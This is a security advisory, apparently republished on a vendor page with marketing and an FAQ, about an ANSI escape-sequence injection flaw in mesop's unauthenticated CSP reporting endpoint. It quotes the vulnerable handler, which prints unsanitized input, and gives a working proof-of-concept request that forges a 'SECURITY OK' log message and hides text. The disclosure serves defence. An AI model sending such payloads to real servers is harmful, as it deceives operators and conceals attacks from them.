Summary
Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint
The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.
A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.
Details
The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:
mesop/server/static_file_serving.py
@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
report = request.get_json(force=True)
document_uri = report["csp-report"]["document-uri"]
blocked_uri = report["csp-report"]["blocked-uri"]
violated_directive = report["csp-report"]["violated-directive"]
print(f"... Blocked URL: {blocked_uri} ...")
Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.
PoC
Send the following request:
POST /__csp__
Content-Type: application/json
{
"csp-report": {
"document-uri": "https://victim.example",
"blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
"violated-directive": "script-src-elem"
}
}
The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.
When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.
Expected output
Content Security Policy Error
Directive: script-src-elem
Blocked URL: ...
App path: /app
Rendered output
*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app
Impact
An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:
- Inject forged log messages that appear to originate from the application.
- Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
- Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
- Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
- Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-93421? CVE-2026-93421 is a medium-severity security vulnerability in mesop (pip), affecting versions <= 1.3.3. It is fixed in 1.3.4.
- Which versions of mesop are affected by CVE-2026-93421? mesop (pip) versions <= 1.3.3 is affected.
- Is there a fix for CVE-2026-93421? Yes. CVE-2026-93421 is fixed in 1.3.4. Upgrade to this version or later.
- Is CVE-2026-93421 exploitable, and should I be worried? Whether CVE-2026-93421 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-93421 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-93421? Upgrade
mesopto 1.3.4 or later.